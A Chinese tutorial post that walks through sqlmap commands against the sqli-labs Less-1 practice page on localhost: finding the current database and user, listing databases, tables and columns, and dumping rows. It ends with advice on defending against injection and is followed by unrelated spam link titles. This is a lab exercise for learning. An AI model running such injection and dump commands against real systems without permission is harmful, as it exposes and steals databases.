当前位置: 首页 > news >正文

新浦网站制作网站建设网站上传可以通过

新浦网站制作网站建设,网站上传可以通过,住建厅报名考试入口,wordpress主题自动启动插件文章目录 简介获取当前数据库和用户信息获取MySQL中的所有数据库名称查询wucai数据库中的所有数据表查看heros数据表中的所有字段查询heros表中的英雄信息总结参考文献 简介 从上一小节,可以发现,如果我们编写的代码存在着SQL注入的漏洞,后果…

文章目录

  • 简介
  • 获取当前数据库和用户信息
  • 获取MySQL中的所有数据库名称
  • 查询wucai数据库中的所有数据表
  • 查看heros数据表中的所有字段
  • 查询heros表中的英雄信息
  • 总结
  • 参考文献

简介

从上一小节,可以发现,如果我们编写的代码存在着SQL注入的漏洞,后果还是很可怕的,只需要通过访问information_schema表就可以将数据库的信息全部暴露出来。

接下来我们了解下SQLMap工具,它可以帮我们自动化完成SQL注入的过程。让我们使用SQLmap工具,再重现一下上一节做的人工注入的步骤。

获取当前数据库和用户信息

执行以下命令:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db --current-user

--current-db表示获取当前数据库名称;

--current-user表示获取当前用户的信息

然后你可以看到SQLmap帮我们获取了相应的结果:

在这里插入图片描述

获取MySQL中的所有数据库名称

执行:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 --dbs

这里我们使用--threads来指定SQLmap的最大并发数,通常不要超过10。

于是它帮我们获取了当前MySQL中的8个数据库名称:

在这里插入图片描述

查询wucai数据库中的所有数据表

执行:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai --tables

-D表示待查询的数据库的库名;

--tables表示显示出所有数据表名称;

在这里插入图片描述

查看heros数据表中的所有字段

执行:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai -T heros --columns

-T表示指定的数据表名称;

--columns表示对所有字段名称进行查询;

在这里插入图片描述

查询heros表中的英雄信息

执行:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D wucai -T heros -C id,name,hp_max --dump

-C后面表示需要查询的字段名;

--dump表示展示具体数据。

在这里插入图片描述

至此,整个数据库对我们来说,就是不设防的状态了。

总结

总之,代码规范性对web安全来讲,非常重要,尽量不要采用直接拼接的方式进行查询,一定要拼接的话,必须在后端提前做好参数验证(如java的sqlparameter),不能因为在前端验证完参数就认为安全了,前端的验证是很容易被绕过的。

同时,web上线之后,还需要将生产环境中的错误提示信息关闭,坚决不能给不法分子可乘之机,以减少被SQL 注入的风险。

此外,我们也可以采用第三方的工具,比如SQLmap来对web应用进行检测,以增强web安全性。

当然,本节讲的内容都很基础,现在真正的SQL注入攻防,可比本节展示的内容复杂多了。

参考文献

  1. 37丨SQL注入:你的SQL是如何被注入的?
http://www.yayakq.cn/news/856849/

相关文章:

  • dedecms 网站地图xmlwordpress优化数据库
  • 哈尔滨市建设网站中华机械网
  • 教育网站建设的必要性沧州网站设计报价
  • seo网站推广经理招聘wordpress 采集
  • 移动端网站设计尺寸微软做网站的软件
  • 网站组成元素怎么用链接进自己做的网站
  • 做网站 大文件中信建设有限责任公司属于央企吗
  • 做电子书网站 赚钱wordpress博客主题模板
  • 漳州网站建设优化排名安徽建设工程信息平台
  • 中英文 微信网站 怎么做谷歌浏览器下载手机版最新版
  • 网站开发制作公司做网站如何防止被黑
  • 威海网站建设费用一般做推广网站的客户需求仕什么
  • 做网站的商标是哪类通辽做网站哪家好
  • 建设设计网站公司网站做网站放什么软件
  • 网站首屏做多大怎么查询菠菜网站做没作弊
  • 重庆企业网站建设哪家好新开传奇网站韩版
  • 网站开发要考什么证优秀html5网站
  • 专业定制网站建设it运维证书
  • 我要表白网站在线制作高端企业门户网站建设
  • 学校网站建设介绍范文网页设计作品html
  • wordpress 主题 保存临沂seo全网营销
  • 怎么进成品网站后台wordpress 出现广告
  • 网站建设管理工作范文关于网站建设方案的案例
  • 外贸网站架构seo技术是什么意思
  • 有什么好的手机推荐网站做网站用什么ui美观
  • 转转网站怎么建设中国通信建设协会网站
  • 做网站的销售话术私域流量代运营公司
  • 天眼查询个人seo公司哪家好用
  • 雅安市住房和城乡建设局网站如何优化关键词的排名
  • 国内wordpress案例专业黑帽seo推广